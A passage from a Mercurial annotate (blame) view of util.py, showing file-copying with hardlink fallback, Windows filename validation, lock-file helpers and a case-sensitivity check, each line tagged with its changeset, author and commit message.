Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
  1573
        try:
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
  1574
            oslink(src, dest)
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
  1575
            return
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
  1576
        except (IOError, OSError):
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
  1577
            pass # fall back to normal copy
4271
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
  1578
    if os.path.islink(src):
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
  1579
        os.symlink(os.readlink(src), dest)
27369
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1580
        # copytime is ignored for symlinks, but in general copytime isn't needed
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1581
        # for them anyway
4271
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
  1582
    else:
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
  1583
        try:
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
  1584
            shutil.copyfile(src, dest)
27369
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1585
            if copystat:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1586
                # copystat also copies mode
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1587
                shutil.copystat(src, dest)
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1588
            else:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1589
                shutil.copymode(src, dest)
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1590
                if oldstat and oldstat.stat:
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
  1591
                    newstat = filestat.frompath(dest)
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1592
                    if newstat.isambig(oldstat):
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1593
                        # stat of copied file is ambiguous to original one
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1594
                        advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1595
                        os.utime(dest, (advanced, advanced))
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
  1596
        except shutil.Error as inst:
4271
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
  1597
            raise Abort(str(inst))
3629
4cfb72bcb978 util: add copyfile function
Matt Mackall <mpm@selenic.com>
parents: 3568
diff changeset
  1598
24439
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1599
def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1600
    """Copy a directory tree using hardlinks if possible."""
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1601
    num = 0
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
  1602
31718
bf64449b2779 hardlink: extract topic text logic of copyfiles
Jun Wu <quark@fb.com>
parents: 31678
diff changeset
  1603
    gettopic = lambda: hardlink and _('linking') or _('copying')
698
df78d8ccac4c Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 667
diff changeset
  1604
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
  1605
    if os.path.isdir(src):
31719
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
  1606
        if hardlink is None:
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
  1607
            hardlink = (os.stat(src).st_dev ==
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
  1608
                        os.stat(os.path.dirname(dst)).st_dev)
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
  1609
        topic = gettopic()
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
  1610
        os.mkdir(dst)
32208
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
  1611
        for name, kind in listdir(src):
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
  1612
            srcname = os.path.join(src, name)
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
  1613
            dstname = os.path.join(dst, name)
24439
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1614
            def nprog(t, pos):
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1615
                if pos is not None:
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1616
                    return progress(t, pos + num)
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1617
            hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
  1618
            num += n
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
  1619
    else:
31719
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
  1620
        if hardlink is None:
31720
dea2a17cbfd0 hardlink: check directory's st_dev when copying files
Jun Wu <quark@fb.com>
parents: 31719
diff changeset
  1621
            hardlink = (os.stat(os.path.dirname(src)).st_dev ==
31719
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
  1622
                        os.stat(os.path.dirname(dst)).st_dev)
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
  1623
        topic = gettopic()
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
  1624
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
  1625
        if hardlink:
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
  1626
            try:
14235
b9e1b041744f rename util.os_link to oslink
Adrian Buehlmann <adrian@cadifra.com>
parents: 14234
diff changeset
  1627
                oslink(src, dst)
2050
e49d0fa38176 util.copyfiles: only switch to copy if hardlink raises IOError or OSError.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2026
diff changeset
  1628
            except (IOError, OSError):
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
  1629
                hardlink = False
1591
5a3229cf1492 do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 1585
diff changeset
  1630
                shutil.copy(src, dst)
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
  1631
        else:
1591
5a3229cf1492 do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 1585
diff changeset
  1632
            shutil.copy(src, dst)
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
  1633
        num += 1
24439
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1634
        progress(topic, num)
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1635
    progress(topic, None)
698
df78d8ccac4c Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 667
diff changeset
  1636
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
  1637
    return hardlink, num
11254
640d419725d0 util.copyfiles: don't try os_link() again if it failed before
Adrian Buehlmann <adrian@cadifra.com>
parents: 11010
diff changeset
  1638
34052
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34002
diff changeset
  1639
_winreservednames = {
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34002
diff changeset
  1640
    'con', 'prn', 'aux', 'nul',
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34002
diff changeset
  1641
    'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34002
diff changeset
  1642
    'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34002
diff changeset
  1643
}
14262
23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents: 14250
diff changeset
  1644
_winreservedchars = ':*?"<>|'
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1645
def checkwinfilename(path):
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1646
    r'''Check that the base-relative path is a valid filename on Windows.
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1647
    Returns None if the path is ok, or a UI string describing the problem.
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1648
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  1649
    >>> checkwinfilename(b"just/a/normal/path")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  1650
    >>> checkwinfilename(b"foo/bar/con.xml")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1651
    "filename contains 'con', which is reserved on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  1652
    >>> checkwinfilename(b"foo/con.xml/bar")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1653
    "filename contains 'con', which is reserved on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  1654
    >>> checkwinfilename(b"foo/bar/xml.con")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  1655
    >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1656
    "filename contains 'AUX', which is reserved on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  1657
    >>> checkwinfilename(b"foo/bar/bla:.txt")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1658
    "filename contains ':', which is reserved on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  1659
    >>> checkwinfilename(b"foo/bar/b\07la.txt")
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1660
    "filename contains '\\x07', which is invalid on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  1661
    >>> checkwinfilename(b"foo/bar/bla ")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1662
    "filename ends with ' ', which is not allowed on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  1663
    >>> checkwinfilename(b"../bar")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  1664
    >>> checkwinfilename(b"foo\\")
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1665
    "filename ends with '\\', which is invalid on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  1666
    >>> checkwinfilename(b"foo\\/bar")
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1667
    "directory name ends with '\\', which is invalid on Windows"
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1668
    '''
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1669
    if path.endswith('\\'):
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1670
        return _("filename ends with '\\', which is invalid on Windows")
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1671
    if '\\/' in path:
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1672
        return _("directory name ends with '\\', which is invalid on Windows")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1673
    for n in path.replace('\\', '/').split('/'):
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1674
        if not n:
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1675
            continue
32572
377c74ef008d win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 31952
diff changeset
  1676
        for c in _filenamebytestr(n):
14262
23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents: 14250
diff changeset
  1677
            if c in _winreservedchars:
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1678
                return _("filename contains '%s', which is reserved "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1679
                         "on Windows") % c
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1680
            if ord(c) <= 31:
34360
f435097d13c9 py3: manually escape control character to be embedded in win filename error
Yuya Nishihara <yuya@tcha.org>
parents: 34357
diff changeset
  1681
                return _("filename contains '%s', which is invalid "
f435097d13c9 py3: manually escape control character to be embedded in win filename error
Yuya Nishihara <yuya@tcha.org>
parents: 34357
diff changeset
  1682
                         "on Windows") % escapestr(c)
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1683
        base = n.split('.')[0]
14262
23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents: 14250
diff changeset
  1684
        if base and base.lower() in _winreservednames:
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1685
            return _("filename contains '%s', which is reserved "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1686
                     "on Windows") % base
34361
7508a7dc95c1 py3: replace bytes[n] with slicing in checkwinfilename()
Yuya Nishihara <yuya@tcha.org>
parents: 34360
diff changeset
  1687
        t = n[-1:]
15358
a347b3614bae util: don't complain about '..' in path components not working on Windows
Matt Mackall <mpm@selenic.com>
parents: 15159
diff changeset
  1688
        if t in '. ' and n not in '..':
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1689
            return _("filename ends with '%s', which is not allowed "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1690
                     "on Windows") % t
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1691
34645
75979c8d4572 codemod: use pycompat.iswindows
Jun Wu <quark@fb.com>
parents: 34554
diff changeset
  1692
if pycompat.iswindows:
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1693
    checkosfilename = checkwinfilename
30974
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30925
diff changeset
  1694
    timer = time.clock
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1695
else:
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
  1696
    checkosfilename = platform.checkosfilename
30974
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30925
diff changeset
  1697
    timer = time.time
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30925
diff changeset
  1698
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30925
diff changeset
  1699
if safehasattr(time, "perf_counter"):
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30925
diff changeset
  1700
    timer = time.perf_counter
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1701
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1702
def makelock(info, pathname):
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1703
    try:
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1704
        return os.symlink(info, pathname)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
  1705
    except OSError as why:
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1706
        if why.errno == errno.EEXIST:
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1707
            raise
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1708
    except AttributeError: # no symlink in os
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1709
        pass
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1710
704
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
  1711
    ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
  1712
    os.write(ld, info)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
  1713
    os.close(ld)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
  1714
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1715
def readlock(pathname):
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1716
    try:
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1717
        return os.readlink(pathname)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
  1718
    except OSError as why:
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1719
        if why.errno not in (errno.EINVAL, errno.ENOSYS):
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1720
            raise
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1721
    except AttributeError: # no symlink in os
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
  1722
        pass
13400
14f3795a5ed7 explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13392
diff changeset
  1723
    fp = posixfile(pathname)
14f3795a5ed7 explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13392
diff changeset
  1724
    r = fp.read()
14f3795a5ed7 explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13392
diff changeset
  1725
    fp.close()
14f3795a5ed7 explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13392
diff changeset
  1726
    return r
704
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
  1727
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1728
def fstat(fp):
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1729
    '''stat file object that may not have fileno method.'''
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1730
    try:
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1731
        return os.fstat(fp.fileno())
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1732
    except AttributeError:
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1733
        return os.stat(fp.name)
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1734
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1735
# File system features
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1736
29889
6f447b9ec263 util: rename checkcase() to fscasesensitive() (API)
Martin von Zweigbergk <martinvonz@google.com>
parents: 29832
diff changeset
  1737
def fscasesensitive(path):
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1738
    """
18911
451eb1c27c1b util: improve doc for checkcase
Mads Kiilerich <mads@kiilerich.com>
parents: 18868
diff changeset
  1739
    Return true if the given path is on a case-sensitive filesystem
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1740
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1741
    Requires a path (like /foo/.hg) ending with a foldable final
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1742
    directory component.
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1743
    """
24902
986a5c23b1c1 util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents: 24692
diff changeset
  1744
    s1 = os.lstat(path)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1745
    d, b = os.path.split(path)
15667
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
  1746
    b2 = b.upper()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
  1747
    if b == b2:
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
  1748
        b2 = b.lower()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
  1749
        if b == b2:
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
  1750
            return True # no evidence against case sensitivity
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
  1751
    p2 = os.path.join(d, b2)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1752
    try:
24902
986a5c23b1c1 util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents: 24692
diff changeset
  1753
        s2 = os.lstat(p2)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1754
        if s2 == s1:
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1755
            return False
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1756
        return True
14004
97ed99d1f419 eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents: 13985
diff changeset
  1757
    except OSError:
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1758
        return True
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
  1759
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1760
try:
